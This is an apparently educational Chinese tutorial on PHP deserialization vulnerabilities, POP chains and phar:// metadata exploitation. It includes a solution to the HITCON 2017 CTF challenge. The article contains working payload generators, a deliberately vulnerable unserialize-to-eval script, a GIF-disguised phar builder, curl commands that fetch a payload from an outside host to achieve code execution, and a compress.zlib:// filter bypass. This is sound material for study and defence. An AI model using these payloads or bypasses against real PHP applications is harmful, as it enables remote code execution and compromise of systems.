一篇文章帶你深入理解漏洞之 PHP 反序列化漏洞
自從 Orange 在 2017年的 hitcon 出了一個 0day 的 php phar:// 反序列化給整個安全界開啟了新世界的大門以後,php 反序列化這個漏洞就逐漸升溫,沒想到後來 2018 年 blackhat 的議題上這個問題再次被提及,利用的還是 Orange 的思路(我只能 orz),到現在 phar:// 反序列化已經成為了各大 CTF 炙手可熱的思路,就彷彿 2016 年的 CVE-2016-7124 繞過 __weakup 一樣,於是我也把這篇文章提上日程,希望能在對整個 PHP 反序列化漏洞的剖析過程中對其有更深入的理解,也希望讀者在讀我的文章中能有不一樣的體驗和收穫(如果真的是這樣,這將是我莫大的榮幸)
0X01 什麼是序列化和反序列化
1.從 json 開始類比
我先不說序列化,大家都看到過 json 資料吧, json 什麼樣子的 ?
如圖所示:
我們看到不同組資料之間都是使用逗號分隔,每組資料內部使用冒號分隔鍵和值,整體看上去是一個字串的樣子,那麼他原來的面目是什麼呢?
如圖所示:
我們看到,這個 json 字串的真面目是一個數組,但是通常情況下為了前後端之間的傳輸方便我們將其 json_encode 了,然後我們後端如果接受到這個 json 資料,還能在 json_decode 回來,再通俗一點就是tx 目前不支援直接傳輸資料夾,我們必須要壓縮一下然後傳輸,對方接收到需要解壓才能看到你的資料,那麼這種將原本的資料通過某種手段進行“壓縮”,並且按照一定的格式儲存的過程就可以稱之為序列化
2.PHP 的序列化
PHP 的所謂的序列化也是一個將各種型別的資料,壓縮並按照一定格式儲存的過程,他所使用的函式是serialize() ,我們來看下面的例項
如圖所示:
這是一個簡單的 php 類,然後我們例項化以後對其屬性進行了賦值,然後呼叫了 serialize() 並且輸出,我們看一下輸出的結果
如圖所示:
我們看到這個和剛剛的 json 長得有些不一樣了,具體的含義我已經在途中有所標註(其中屬性名和屬性值的格式與前面物件名的格式類似我就沒有重複說明)
注意:這裡是第一個非常重要的點
如果你是細心的同學,你可能會注意到一個小問題,按照我前面物件名的格式算的話你可能會發現後面的屬性名有些另類,你看啊,我程式碼裡面明明寫的是
flag 屬性,序列化以後卻變成了 testflag ,而且前面說好的長度也不一樣了,testflag
明明是8個字元,到你這裡卻成了10個,除此之外後面的 test 屬性也“變異了”,前面多了個(*)並且長度也不對,這到底是咋了?
嗯,如果你發現這個問題,那麼說明你認真地思考了,這其實涉及到了 PHP 的屬性的訪問許可權問題,序列化為了能把整個類物件的各種資訊完完整整的壓縮,格式化,必然也會將屬性的許可權序列化進去,我們發現我定義的類的屬性有三種 private protected 和 預設的 public(寫不寫都一樣),其中
(1)Puiblic 許可權:
他的序列化規規矩矩,按照我們常規的思路,該是幾個字元就是幾個字元,你看那個 test1 屬性,是不是這樣?
(2)Private 許可權:
該許可權是私有許可權,也就是說只能 test類使用,於是乎 test 有著強烈的佔有慾,於是在序列化的時候一定要在 private 屬性前面加上自己的名字,向世界表明這個屬性是我獨自佔有的,但是好像長度還是不對,還少了兩個,怎麼回事?
這樣,我們將其序列化的結果存入一個檔案中,我們使用 Hexdump 看一下內部的結構,為了去除瀏覽器對整個過程的影響我修改一下程式碼
<?php class test { private $flag = 'Inactive'; protected $test = "test"; public $test1 = "test1"; public function set_flag($flag) { $this->flag = $flag; } public function get_flag($flag) { return $this->flag; } } $object = new test(); $object->set_flag('Active'); $data = serialize($object); file_put_contents("serialize.txt", $data);
如圖所示:
我們看到 test 的前後出現了兩個 %00 ,也就是空白符,現在是不是字元數也湊夠了?那麼現在請你記住這個規定,在私有屬性序列化的時候格式是
%00類名%00屬性名
(2)Protected 許可權:
這個也很奇怪,但是沒關係我們看 hexdump 的結果
如圖所示:
這裡我就不詳細說了,反正格式就是這樣
%00*%00屬性名
這個特性一定要非常的清楚,如果很模糊的話,在我們後期構造或者修改我們的攻擊向量的時候很容易出現錯誤
注意:這裡是第二個非常重要的點
如果你再細緻一點,你可能會發現這樣一個問題,你這個類定義了那麼多方法,怎麼把物件序列化了以後全都丟了?你看你整個序列化的字串裡面全是屬性,就沒有一個方法,這是為啥?
請記住,序列化他只序列化屬性,不序列化方法,這個性質就引出了兩個非常重要的話題:
(1)我們在反序列化的時候一定要保證在當前的作用域環境下有該類存在
這裡不得不扯出反序列化的問題,這裡先簡單說一下,反序列化就是將我們壓縮格式化的物件還原成初始狀態的過程(可以認為是解壓縮的過程),因為我們沒有序列化方法,因此在反序列化以後我們如果想正常使用這個物件的話我們必須要依託於這個類要在當前作用域存在的條件。
(2)我們在反序列化攻擊的時候也就是依託類屬性進行攻擊
因為沒有序列化方法嘛,我們能控制的只有類的屬性,因此類屬性就是我們唯一的攻擊入口,在我們的攻擊流程中,我們就是要尋找合適的能被我們控制的屬性,然後利用它本身的存在的方法,在基於屬性被控制的情況下發動我們的發序列化攻擊(這是我們攻擊的核心思想,這裡先借此機會丟擲來,大家有一個印象)
3.PHP 的反序列化
有序列化 化物件為壓縮格式化的字串,就有反序列化,將壓縮格式化的字串還原
我們還是沿用上面的程式碼,我現在將 serialize.txt 裡面的內容進行反序列化,並輸出屬性值 test1 和 flag 的值
如圖所示:
結果如下:
我們看到本來儲存在檔案中的一串字元,在 uiseralize() 的作用下還原成了物件,並且實現了 屬性和方法的呼叫
那我拓展一下,比如說我是一個黑客,我想使壞,我在電腦主人不知道的情況下悄悄改了這個 serialize.txt 的內容,改成了下面這樣 (注意紅色方框的部分)
如圖所示:
那麼當電腦主人執行這段程式碼的時候看到的會是什麼呢?
如圖所示:
哇咔咔, K0rz3n Hack 成功,想必電腦主人會嚇一跳,會不會趕緊開啟防毒軟體進行全盤的掃描呢?hhh,當然這就不是我要考慮的問題了, 這個小例子其實就是我們反序列化攻擊的原理的核心內容 ,這裡算是拋磚引玉吧
0X02 為什麼要 PHP 的序列化和反序列化
看到這裡,肯定會有人問這個問題,如果說 json 是為了傳遞資料的方便性,那麼 PHP 的序列化又是為了什麼呢?
當然,傳遞資料的方便肯定是這種壓縮並格式化儲存的一大共同的屬性,那麼序列化除了這種屬性以外還有什麼特性呢?要是隻是這樣那乾脆不如直接用 json 好了,當然有,從上面的實驗中你沒發現嗎?我們把一個例項化的物件長久地儲存在了計算機的磁碟上,無論什麼時候呼叫都能恢復原來的樣子,這其實是為了解決 PHP 物件傳遞的一個問題,因為 PHP 檔案在執行結束以後就會將物件銷燬,那麼如果下次有一個頁面恰好要用到剛剛銷燬的物件就會束手無策,總不能你永遠不讓它銷燬,等著你吧,於是人們就想出了一種能長久儲存物件的方法,這就是 PHP 的序列化,那當我們下次要用的時候只要反序列化一下就 ok 啦,是不是很方便?
0X03 PHP 反序列化漏洞
1.概念解釋:
PHP 反序列化漏洞又叫做 PHP 物件注入漏洞,我覺得這個表達很不直白,也不能說明根本的問題,不如我們叫他 PHP 物件的屬性篡改漏洞好了(別說這是我說的~~)
反序列化漏洞的成因在於程式碼中的 unserialize() 接收的引數可控,從上面的例子看,這個函式的引數是一個序列化的物件,而序列化的物件只含有物件的屬性,那我們就要利用對物件屬性的篡改實現最終的攻擊。
2.必須知道的魔法方法:
這裡就不得不介紹幾個我們必須知道的魔法方法了
construct():當物件建立時會自動呼叫(但在unserialize()時是不會自動呼叫的)。
wakeup() :unserialize()時會自動呼叫destruct():當物件被銷燬時會自動呼叫。
toString():當反序列化後的物件被輸出在模板中的時候(轉換成字串的時候)自動呼叫get() :當從不可訪問的屬性讀取資料
call(): 在物件上下文中呼叫不可訪問的方法時觸發其中我想特別說明一下第四點:
這個 __toString 觸發的條件比較多,也因為這個原因容易被忽略,常見的觸發條件有下面幾種
(1)echo ( $obj
) / print( $obj
) 列印時會觸發
(2)反序列化物件與字串連線時
(3)反序列化物件參與格式化字串時
(4)反序列化物件與字串進行==比較時(PHP進行==比較的時候會轉換引數型別)
(5)反序列化物件參與格式化SQL語句,繫結引數時
(6)反序列化物件在經過php字串函式,如 strlen()、addslashes()時
(7)在in_array()方法中,第一個引數是反序列化物件,第二個引數的陣列中有 toString返回的字串的時候 toString會被呼叫
(8)反序列化的物件作為 class_exists() 的引數的時候
3.為什麼要提到這些魔法方法
為什麼要提到這些魔法方法?你看你上面的實現的最簡單的攻擊不是也沒有用到魔法方法嗎,我想肯定有人要問這個問題,我曾經也問過自己這個問題。
我們上面講過,在我們的攻擊中,反序列化函式 unserialize() 是我們攻擊的入口,也就是說,只要這個引數可控,我們就能傳入任何的已經序列化的物件(只要這個類在當前作用域存在我們就可以利用),而不是侷限於出現 unserialize() 函式的類的物件,如果只能侷限於當前類,那我們的攻擊面也太狹小了,這個類不呼叫危險的方法我們就沒法發起攻擊。
但是我們又知道,你反序列化了其他的類物件以後我們只是控制了是屬性,如果你沒有在完成反序列化後的程式碼中呼叫其他類物件的方法,我們還是束手無策,畢竟程式碼是人家寫的,人家本身就是要反序列化後呼叫該類的某個安全的方法,你總不能改人家的程式碼吧,但是沒關係,因為我們有魔法方法。
魔法正如上面介紹的,魔法方法的呼叫是在該類序列化或者反序列化的同時自動完成的,不需要人工干預,這就非常符合我們的想法,因此只要魔法方法中出現了一些我們能利用的函式,我們就能通過反序列化中對其物件屬性的操控來實現對這些函式的操控,進而達到我們發動攻擊的目的。
4.呼叫魔法方法的例子
說那麼多,我們來看一個反序列化的案例,加強一下我們對這個魔法方法的理解吧
如圖所示:
測試的結果:
讀者可以按照我上面說的魔法方法的觸發規則分析一下這個結果是怎麼來的,我就不詳細分析了,也比較簡單,就是提示一下這裡 __destruct 了兩次說明當前實際上有兩個物件,一個就是例項化的時候建立的物件,另一個就是反序列化後生成的物件。
5.利用魔法方法發起攻擊
測試程式碼:
<?php class K0rz3n { private $test; public $K0rz3n = "i am K0rz3n"; function __construct() { $this->test = new L(); } function __destruct() { $this->test->action(); } } class L { function action() { echo "Welcome to XDSEC"; } } class Evil { var $test2; function action() { eval($this->test2); } } unserialize($_GET['test']);
我們先來分析一下這段程式碼,首先我們能看到 unserialize() 函式的引數我們是可以控制的,也就是說我們能通過這個介面反序列化任何類的物件(但只有在當前作用域的類才對我們有用),那我們看一下當前這三個類,我們看到後面兩個類反序列化以後對我們沒有任何意義,因為我們根本沒法呼叫其中的方法,但是第一個類就不一樣了,雖然我們也沒有什麼程式碼能實現呼叫其中的方法的,但是我們發現他有一個魔法函式 __destruct() ,這就非常有趣了,因為這個函式能在物件銷燬的時候自動呼叫,不用我們人工的干預,好,既然這樣我們就決定反序列化這個類的物件了,接下來讓我們看一下怎麼利用(我上面說過了,我們需要控制這個類的某些屬性,通過控制屬性實現我們的攻擊)
那我們看一下哪些屬性的控制是對我們有用的(這個時候我們就跳過了 construct() 方法,畢竟他永遠不會被呼叫),因為這個例子比較簡單, destruct() 裡面只用到了一個屬性 test ,那肯定就是他了,那我們控制這個屬性為什麼內容我們就能攻擊了呢,我們再觀察一下 那些地方呼叫了 action() 函式,看看這個函式的呼叫中有沒有存在執行命令或者是其他我們能利用的點的,果然我們在 Evil 這個類中發現他的 action() 函式呼叫了 eval(),那我們的想法就很明確了,我們需要將 K0rz3n 這個類中的 test 屬性篡改為 Evil 這個類的物件,然後為了 eval 能執行命令,我們還要篡改 Evil 物件的 test2 屬性,將其改成我們的 Payload
分析完畢以後我們就可以構建我們的序列化字串了,構建的方法不是手寫(當然你願意我也不攔著你,理論上是可行的),我們要將這段程式碼複製一下,然後修改一些內容並進行序列化操作
生成 payload 程式碼:
<?php class K0rz3n { private $test; function __construct() { $this->test = new Evil; } } class Evil { var $test2 = "phpinfo();"; } $K0rz3n = new K0rz3n; $data = serialize($K0rz3n); file_put_contents("seria.txt", $data);
我們去除了一切與我們要篡改的屬性無關的內容,對其進行序列化操作,然後將序列化的結果複製出來,想剛剛的程式碼發起請求
如圖所示:
可以看到我們攻擊成功,特別要提醒一下的就是我在圖中框起來的部分,上面說過由於是私有屬性,他有自己特殊的格式會在前後加兩個 %00 ,所以我們在傳輸過程中國絕對不能忘掉
通過這個簡單的例子總結一下尋找 PHP 反序列化漏洞的方法或者說流程
(1)尋找 unserialize() 函式的引數是否有我們的可控點
(2)尋找我們的反序列化的目標,重點尋找 存在 wakeup() 或 destruct() 魔法函式的類
(3) 一層一層 地研究該類在魔法方法中使用的屬性和屬性呼叫的方法,看看是否有可控的屬效能實現在當前呼叫的過程中觸發的
(4)找到我們要控制的屬性了以後我們就將要用到的程式碼部分複製下來,然後構造序列化,發起攻擊
0X04 POP 鏈的介紹
玩過 pwn 的同學應該對 ROP 並不陌生,ROP 的全稱是面向返回程式設計(Return-Oriented Programing),ROP 鏈構造中是尋找 當前系統環境中 或者 記憶體環境裡已經存在的 、具有固定地址且帶有返回操作的指令集,將這些 本來無害的片段 拼接起來,形成一個連續的層層遞進的呼叫鏈,最終達到我們的執行 libc 中函式或者是 systemcall 的目的
POP 面向屬性程式設計(Property-Oriented Programing) 常用於上層語言構造特定呼叫鏈的方法,與二進位制利用中的面向返回程式設計(Return-Oriented Programing)的原理相似,都是 從現有執行環境 中尋找一系列的程式碼或者指令呼叫,然後根據需求構成一組連續的呼叫鏈,最終達到攻擊者邪惡的目的
說的再具體一點就是 ROP 是通過棧溢位實現控制指令的執行流程,而我們的反序列化是通過控制物件的屬性從而實現控制程式的執行流程,進而達成利用本身無害的程式碼進行有害操作的目的
說了這麼多理論了,來點實戰性的東西演示一下 POP 鏈的形成吧!
1.POP 鏈實戰
整個程式碼片段我將以圖片的形式展現,有興趣的讀者請先自己分析,之後在看我的分析, 當然這個案例裡面似乎少了比較關鍵的 unserialize() 函式,那我們就假設這個 unserialize() 在我們的第一張圖片的裡面,並且引數完全可控
現在我們就按照,我上面說的步驟來一步一步的分析這段程式碼,最終構造我們的 POP 鏈完成利用
(1)尋找 unserialize() 函式的引數是否有我們的可控點
這個我上面說了,我們假設已經在第一段程式碼裡設定了引數可控的 unserialize() ,所以這一步就可以跳過
(2)尋找我們的反序列化的目標,重點尋找 存在wakeup() 或destruct() 魔法函式的類
我們在第一段程式碼中尋找,我們發現一眼就看到了我們最想要看到的東西,__destruct() 魔法方法,好,既然這樣我們就將這個類作為我們的漏洞嫌疑物件
(3)一層一層地研究該類在魔法方法中使用的屬性和屬性呼叫的方法,看看是否有可控的屬效能實現在當前呼叫的過程中觸發的
1.我們就先來看一下這個 $write
,這個 $write
雖然不是屬性,但是他是我們 $_write
屬性的其中一部分,那麼控制他也就等於控制屬性,那我們就要好好研究一下這個 $write 了,他是什麼呢?通過他能呼叫 shutdown() 來看,他是某一個類的一個物件,因為他不是單純的屬性所以我們還要向下挖
2.於是我們就要找一下定義 shutdown() 方法的類,然後我們就鎖定了 Zend_Log_Writer_Mail 這個類,我們看到這個類裡面使用了 $write 物件的很多屬性,比如說 _layout ,然後我們又發現這個屬性也呼叫了一個方法 render() ,說明這個屬性其實也是一個物件,於是我們還要向更深處挖掘
3.那麼 _layout 是誰的物件呢?我們發現他是 Zend_layout 的一個物件,同樣的,他裡面是用了一個 _inflector 的屬性,這個屬性呼叫了 filter 方法,看來他也是一個物件(有完沒完~~)別急,我們繼續向下
4.我們發現 _inflector 是 Zend_Filter_PregReplace 的一個物件,這個物件的一些屬性是能進行直接控制的,並且在呼叫 filter 方法的時候能直接觸發 preg_replace() 方法,太好了這正是我們想要的,我們只要控制這個物件的屬性就能實現我們的利用鏈
最後一張 圖片實際上已經將整個利用鏈畫了出來,並且給上了 payload ,下面我想通過對整個 payload 的分析再來回顧一下整個 POP 鏈的呼叫過程
如圖所示:
所以整個 POP 鏈就是
writer->shutdown()->render()->filter()->preg_replace(我們控制的屬性)->程式碼執行
宣告:
當然這是一個很老的但是很經典的例子,裡面用到的方法還是 preg_replace() 的 /e 選項,我們只是學習使用,請大家不要糾結
0X05 利用 phar:// 拓展 PHP 反序列化的攻擊面
在 2017 年的 hitcon Orange 的一道 0day 題的解法令人震驚,Orange 通過他對底層的深度理解,為 PHP 反序列化開啟了新的篇章,在此之後的 black 2018 演講者同樣用這個話題講述了 phar:// 協議在 PHP 反序列化中的神奇利用,那麼接下來就讓我們分析他為什麼開啟了 PHP 反序列化的新世界,以及剖析一下這個他的利用方法。
1.回顧一下原先 PHP 反序列化攻擊的必要條件
(1)首先我們必須有 unserailize() 函式
(2)unserailize() 函式的引數必須可控
這兩個是原先存在 PHP 反序列化漏洞的必要條件,沒有這兩個條件你談都不要談,根本不可能,但是從2017 年開始 Orange 告訴我們是可以的
2.phar:// 如何擴充套件反序列化的攻擊面的
原來 phar 檔案包在 生成時會以序列化的形式儲存使用者自定義的 meta-data ,配合 phar:// 我們就能在檔案系統函式 file_exists() is_dir() 等引數可控的情況下實現自動的反序列化操作,於是我們就能通過構造精心設計的 phar 包在沒有 unserailize() 的情況下實現反序列化攻擊,從而將 PHP 反序列化漏洞的觸發條件大大拓寬了,降低了我們 PHP 反序列化的攻擊起點。
3.具體解釋一下 phar 的使用
1.Phar 的檔案結構
phar 檔案最核心也是必須要有的部分如圖所示:
(1) a stub
圖片中說了,這其實就是一個PHP 檔案實際上我們能將其複雜化為下面這個樣子
格式為:
xxx<?php xxx; __HALT_COMPILER();?>
前面內容不限,但必須以 __HALT_COMPILER();?>
來結尾,這部分的目的就是讓 phar 擴充套件識別這是一個標準的 phar 檔案
(2)a manifest describing the contents
因為 Phar 本身就是一個壓縮檔案,它裡面儲存著其中每個被壓縮檔案的許可權、屬性等資訊。這部分還會以序列化的形式儲存使用者自定義的meta-data,這是上述攻擊手法最核心的地方。
如圖所示:
(3)the file contents
這部分就是我們想要壓縮在 phar 壓縮包內部的檔案
2.如何建立一個合法的 Phar壓縮檔案
示例程式碼:
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //字尾名必須為phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設定stub $o = new TestObject(); $phar->setMetadata($o); //將自定義的meta-data存入manifest $phar->addFromString("test.txt", "test"); //新增要壓縮的檔案 //簽名自動計算 $phar->stopBuffering(); ?>
因為不是文字檔案,我們使用 hexdump 看一下檔案的內容
如圖所示:
可以清楚地看到我們的 TestObject 類已經以序列化的形式存入檔案中
我們剛剛說過了,php一大部分的檔案系統函式在通過phar://偽協議解析phar檔案時,都會將meta-data進行反序列化
測試後受影響的函式如下:
受影響的函式列表 | |||
---|---|---|---|
fileatime | filectime | file_exists | file_get_contents |
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fikeperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
3.phar 反序列化小實驗
我們來做一個小測試看一下是不是真的和說的一樣會反序列化
示例程式碼:
<?php class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = 'phar://phar.phar/test.txt'; file_get_contents($filename); ?>
結果如圖所示:
可以看出我們成功的在沒有 unserailize() 函式的情況下,通過精心構造的 phar 檔案,再結合 phar:// 協議,配合檔案系統函式,實現了一次精彩的反序列化操作。
4.phar 的實戰
這一部分的內容我打算使用 Orange 在 2017 年 hitcon 上面出的利用 Phar 進行反序列化,畢竟這是第一次出現這種利用方式的地方,應該來說是最經典的利用場景
題目原始碼如下:
<?php $FLAG= create_function("", 'die(`/read_flag`);');// 得到 flag 的匿名函式 $SECRET= `/read_secret`; $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);// 根據 remote_addr 給每個人建立一個沙盒 @mkdir($SANDBOX); @chdir($SANDBOX); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("sha1", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac));//將每個人唯一的沙盒物件加上簽名後作為 session-data } class User { public $avatar; function __construct($path) { $this->avatar = $path;//設定了頭像的路徑為沙盒路徑 } } class Admin extends User { function __destruct(){ $random = bin2hex(openssl_random_pseudo_bytes(32)); eval("function my_function_$random() {" ."global \$FLAG; \$FLAG();"/*反序列化這個物件就能建立一個隨機名字的函式,呼叫這個函式就能呼叫 flag,實際上這是一個騙局,匿名函式也是有名字的*/ ."}"); $_GET["lucky"](); } } function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) die("Bye"); if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) die("Bye Bye"); $data = unserialize($data); if ( !isset($data->avatar) ) die("Bye Bye Bye"); return $data->avatar;//判斷身份,如果身份正確返回頭像路徑(沙盒路徑) //該函式不可繞過 } function upload($path) { $data = file_get_contents($_GET["url"] . "/avatar.gif");//獲取頭像,檢查頭是否為GIF89a ,正確後存入沙盒, //這個就是利用 phar:// 進行反序列化的點 if (substr($data, 0, 6) !== "GIF89a") die("Fuck off"); file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); } function show($path) {//獲取這個沙盒中的頭像, if ( !file_exists($path . "/avatar.gif") ) $path = "/var/www/html"; header("Content-Type: image/gif"); die(file_get_contents($path . "/avatar.gif")); } $mode = $_GET["m"]; if ($mode == "upload") upload(check_session()); else if ($mode == "show") show(check_session()); else highlight_file(__FILE__);
題目程式碼非常簡短,關鍵點我已經在圖中給出了註釋,我下面就簡單的分析一下這道題
這道題很明確就是一個反序列化的題,我們的目的就是通過反序列化 Admin 這個類得到我們的 flag 但是如果按照我們原先的思維,我們就可以直接放棄了,為啥?我們看一下 unserailize()的部分
function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) die("Bye"); if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) die("Bye Bye"); $data = unserialize($data); if ( !isset($data->avatar) ) die("Bye Bye Bye"); return $data->avatar;//判斷身份,如果身份正確返回頭像路徑(沙盒路徑) //該函式不可繞過 }
如果我們想利用 unserailize() ,通過控制其引數去實現我們的反序列化,我們就必須繞過對 cookie 的檢測,那我們看一下 cookie 是怎麼生成的
$FLAG= create_function("", 'die(`/read_flag`);');// 得到 flag 的匿名函式 $SECRET= `/read_secret`; $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);// 根據 remote_addr 給每個人建立一個沙盒 @mkdir($SANDBOX); @chdir($SANDBOX); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("sha1", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac));//將每個人唯一的沙盒物件加上簽名後作為 session-data }
很清楚 cookie 是通過 remote_addr 配合 sha1 進行 hmac 簽名生成的,想繞過他那是不可能的,當時的人們肯定都是沉迷於無法繞過這個,於是最終這道題是 全球 0 解,但是現在我們就要思考一下 是不是能用 Phar 這個在不使用 unserialize() 的方式完成序列化成功 get flag
那麼回顧一下使用 Phar 反序列化的條件是什麼
(1)檔案上傳點
(2)系統檔案函式
(3) phar:// 偽協議
然後我們就看到了這個函式
function upload($path) { $data = file_get_contents($_GET["url"] . "/avatar.gif");//獲取頭像,檢查頭是否為GIF89a ,正確後存入沙盒 //這個就是利用 phar:// 進行反序列化的點 if (substr($data, 0, 6) !== "GIF89a") die("Fuck off"); file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); }
這個太完美了,完全符合我們要求,我們只要的精心構造一個包含 Admin 物件、包含 avatar.gif 檔案,並且 stub 是 GIF89a<?php xxx; __HALT_COMPILER();?>
的 phar 檔案然後上傳上去,下一次請求通過 Phar:// 協議讓 file_get_contents 請求這個檔案就可以實現我們對 Admin 物件的反序列化了(有人可能會說為什麼不直接用 phar:// 請求遠端檔案 ,因為phar:// 不支援訪問遠端 URL )
生成 phar 的 paylod
<?php class Admin { public $avatar = 'orz'; } $p = new Phar(__DIR__ . '/avatar.phar', 0); $p['file.php'] = '<?php ?>'; $p->setMetadata(new Admin()); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif'); ?>
這裡還有一個點需要提一下(雖然和反序列化沒什麼直接關係),就是我們通過 eval 建立的函式並不能幫我們拿到 flag 因為他是隨機名稱的,我們是無法預測的,實際上這是 Orange 的一個障眼法,我們真正要利用的是 eval 下面的 $_GET["lucky"]();
但是實際上我們的 $FLAG 也是一個匿名函式,但是匿名函式就真的沒有名字了嗎?非也,匿名函式的函式名被定義為
\000_lambda_" . count(anonymous_functions)++;
這裡的count 會一直遞增到最大長度直到結束,這裡我們可以通過大量的請求來迫使Pre-fork模式啟動的Apache啟動新的執行緒,這樣這裡的隨機數會重新整理為1,就可以預測了
下面給出 Orange 的解題過程
# get a cookie $ curl http://host/ --cookie-jar cookie # download .phar file from http://orange.tw/avatar.gif $ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/' # force apache to fork new process $ python fork.py & # get flag $ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"
0X06 從 PHP 原始碼探索 phar 利用成功的深層原因
本文字來到上一個小結對PHP 反序列化的整個的分析就結束了,可我突然又想起來了前段時間看到了 @ZSX 大師傅的一片 ofollow,noindex">文章 ,於是打算從師父哪裡學姿勢,正好彌補一下我對 PHP 底層膚淺的認識,所以我們繼續~~
1.先介紹 PHP 流的概念
流的作用是在出發地和目的地之間傳輸資料。出發地和目的地可以是檔案、命令列程序、網路連線、ZIP 或 TAR 壓縮檔案、臨時記憶體、標準輸入或輸出,或者是通過 PHP 流封裝協議 實現的任何其他資源。
如果你讀寫過檔案,就用過流;如果你從 php://stdin 讀取過資料,或者把輸入寫入 php://stdout,也用過流。流為 PHP 的很多 IO 函式提供了底層實現,如 file_get_contents、fopn、fread 和 fwrite 等。 PHP 的流函式提供了不同資源的統一介面。
我們可以把流比作管道,把水(資源資料)從一個地方引到另一個地方。在水從出發地到目的地的過程中,我們可以過濾水,可以改變水質,可以新增水,也可以排出水。
2.介紹流封裝協議(wrapper):
因為流式資料的種類各異,而每種型別需要獨特的協議,以便讀寫資料,我們稱這些協議為流封裝協議。例如,我們可以讀寫檔案系統,可以通過 HTTP、HTTPS 或 SSH 與遠端 Web 伺服器通訊,還可以開啟並讀寫 ZIP、RAR 或 PHAR 壓縮檔案
雖然過程是一樣的,但是讀寫檔案系統中檔案的方式與收發 HTTP 訊息的方式有所不同,流封裝協議的作用是使用通用的介面封裝這種差異。
每個流都有一個協議和一個目標。指定協議和目標的方法是使用流識別符號: <scheme>://<target>
,其中 <scheme>
是流的封裝協議, <target>
是流的資料來源。
http://流封裝協議
下面使用 HTTP 流封裝協議建立了一個與 Flicker API 通訊的 PHP 流:
<?php $json = file_get_contents( 'http://api.flickr.com/services/feeds/photos_public.gne?format=json' );
不要以為這是普通的網頁 URL,file_get_contents() 函式的字串引數其實是一個流識別符號。http 協議會讓 PHP 使用 HTTP 流封裝協議,在這個引數中,http 之後是流的目標。
注:很多 PHP 開發者可能並不知道普通的 URL 其實是 PHP 流封裝協議識別符號的偽裝。
file://流封裝協議
我們通常使用 file_get_contents()、fopen()、fwrite() 和 fclose() 等函式讀寫檔案系統, 因為 PHP 預設使用的流封裝協議是 file:// ,所以我們很少認為這些函式使用的是 PHP 流。下面的示例演示了使用 file:// 流封裝協議建立一個讀寫 /etc/hosts 檔案的流:
<?php $handle = fopen('file:///etc/hosts', 'rb'); while (feof($handle) !== TRUE) { echo fgets($handle); } fclose($handle);
我們通常會省略掉 file:// 協議,因為這是 PHP 使用的預設值。
這兩段介紹來源於 https://laravelacademy.org/post/7459.html,那麼這個說明了一個什麼問題呢?說明我們PHP 目前的幾乎所有的 I/O 操作都是通過流配合流包裝器來實現的, 因為 PHP 預設的包裝器就是 file:// ,雖然你沒寫,但是底層 PHP 還是通過流包裝器實現的。
還有更多
使用 stream_get_wrappers() 獲取當前系統註冊的全部 wrapper
3.開始向下挖掘:
我們上面說了,phar 檔案中存在我們可控的序列化的內容,然後我們又說,這個內容在 檔案系統函式 配合 phar:// 的時候能實現反序列化,但是我們沒說為什麼,這也就是我們這節討論的重點,所有的原因都能從原始碼找到答案
(1)先看一下 Phar 檔案原始碼部分
因為 Phar 是 PHP 的一個擴充套件,於是我們在 GitHub 的 php-src/ext/phar/phar.c 去全域性搜尋 unserailize() 函式
如圖所示:
(2)但是這個函式為什麼能呼叫呢
這就涉及到了檔案系統函式的部分了,我們找一下原始碼,位置在 Github php-src/ext/standard/file.c
這個檔案包含了非常多的檔案函式的實現,我們先全域性搜尋 file_get_contents
如圖所示:
然後我們稍微往下翻翻就能發現和 處理 wrapper 流相關的函式
如圖所示:
我們發現了這個 php)stream_open_wrapper_ex 這個函式能處理我們的 wrapper ,那麼其他的類似的函式是不是也是底層呼叫了這個函式呢?
(3)由此及彼
我們全域性搜尋一下 fopen() ,然後我們看一下具體的實現
如圖所示:
是不是很熟悉?這下好了,我們不如把 PHP 原始碼下載下來,來一個真正的全域性搜尋
(4)舉一反三
我本地使用 sublime text 對整個 PHP 原始碼進行了掃描,發現了很多很多地方呼叫了這個函式,其實並不只是我們常見的 檔案系統函式
如圖所示:
而這些截圖只是整個影響面的冰山一角
(5)收集整理
1.hash
2.MySQL
mysqlnd_local_infile_init
3.file
這裡只是對 file 的補充
4.PDO::postgresql
PDO::pgsqlCopyFromFile(string $table_name , string $filename [, string $delimiter [, string $null_as ] [, string $fields])
5.URL
fetches all the headers sent by the server in response to a HTTP request
get_headers(string url[, int format[, resource context]])
zlib/zlib_fopen_wrapper.c#L131" target="_blank" rel="nofollow,noindex">6.zlib
7.libxml
8.fileinfo
這些只是我找到的一些,還有一些在 https://blog.zsxsoft.com/post/38?from=timeline&isappinstalled=0
(6)簡單測試
這裡我就挑選最最有趣的做一個測試
zlib 這個非常有意思,他的實現意味著我們能在 compress.zlib:// 後面新增我們的 phar 語句,也就是說如果禁止了開頭使用 phar:// 我們就能用這種方法繞過
測試程式碼:
結果如圖所示:
